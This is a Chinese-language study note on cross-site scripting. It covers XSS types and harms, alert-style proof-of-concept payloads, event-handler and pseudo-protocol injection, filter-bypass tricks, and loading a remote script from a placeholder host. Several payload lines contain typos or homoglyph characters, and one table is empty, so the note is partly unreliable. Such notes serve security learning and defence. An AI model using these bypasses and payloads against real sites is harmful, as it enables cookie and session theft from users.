XSS漏洞
介绍
跨站脚本攻击(Cross Site Scripting)XSS,与CSS区分。主要是基于JS完成恶意的攻击行为
这个漏洞是发生在服务器,恶意代码是被攻击者在没有防备时在客户端浏览器被动触发的。模型如下,像微博,留言板,聊天室,等各种收集用户输入的地方都有可能被注入XSS代码,也就是说没有对用户的输入进行严格过滤,就会造成XSS漏洞
XSS危害
- 盗取各种账号
- 窃取cookie,冒充用户身份
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
XSS漏洞验证
-
POC(proof of concept) 验证XSS
-
EXP 漏洞的完整利用工具
-
shellcode 利用漏洞时所执行的代码
-
payload 攻击载荷(sqlmap里是 攻击代码的模板)
常用XSS漏洞POC,也就是输入的内容可以原样返回到页面,没有对输入进行过滤,那就有XSS漏洞的风险
<script>alert(/xss/)<script>
<script>confirm('xss')<script>
<script>promt('xss')<script>
XSS漏洞类型
- 反射型:非持久性,页面显示内容和输入的参数有关,只有输入特定内容才会显示特定攻击,比如某个input标签的值在另一个页面显示了,把POC写入到input的value参数里,这就是反射类型。如搜索某个内容,返回页会显示搜索的关键字是什么,以及对应结果列表。这个关键字内容在没有任何校验时就可能造成XSS漏洞
- 存储型:发生在将页面内容提到数据库这种情况。比如留言板上写一些js代码,这样就注入到服务器了,其他人访问,可能都会受到这个XSS攻击
- DOM型:修改浏览器本地的DOM树触发的
https://www.bilibili.com/video/BV1DF411K7ku/?spm_id_from=333.337.search-card.all.click&vd_source=a16ccffb81229e44f7cb98ece11dbf8e
这样,其他人如果吧message改成
XSS漏洞构造
- <>标签
- 伪协议 如下,点击超链接,触发XSS
<a href="javascript:alert(/xss/)">www.xxx.xxx</a>
- 事件触发
<input onkeyup="alert(/xss/)" type="button"/>
οnmοuseοver='alert(/xss/)'
οnkeydοwn="alert(/xss/)"
onfocus
<img src="#" onerror="alert(/xss/)"">
- 利用CSS跨站 (很古老)
几乎只有IE6下有,现在的浏览器基本都不会这样了
</div style="background-image:url(javascript:alert(/xss/))"/>
XSS过滤器绕过
- html的大小写
html大小写不敏感
- 引号的使用
HTML引号不敏感,但是有些过滤函数可能只含有一种
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror=‘alert(/xss/)’>
<img src=# onerror=alert(/xss/)>
- 利用/代替空格
<img/src="#"/οnerrοr="alert(/xss/)">
- 回车代替
这种回车的,输入框过滤也不会处理掉其中的换行和tab制表符,可以注入
- 标签属性值转
字母 | ASCII | 十进制 | 十六进制 |
---|---|---|---|
a | 97 | a | a |
e | 101 | e | e |
Tab | 	 | ||
enter | 
 |
<a herf="javascript:alert(/xss/)">click me </a>
- 拆分跨站
避免有长度检测
XSS的shellcode调用
shellcode是利用漏洞所执行的代码,完整的XSS攻击会将shellcode存放在一定的地方,然后触发漏洞,调用shellcode
-
远程调用JS
直接通过 http协议加载远程的xss利用JS
<script src="http://xxx.xxx/xss.js"></script>
- windows.location.hash
js中,windows.location.hash会获取打到url中#后面的内容
- xss downloader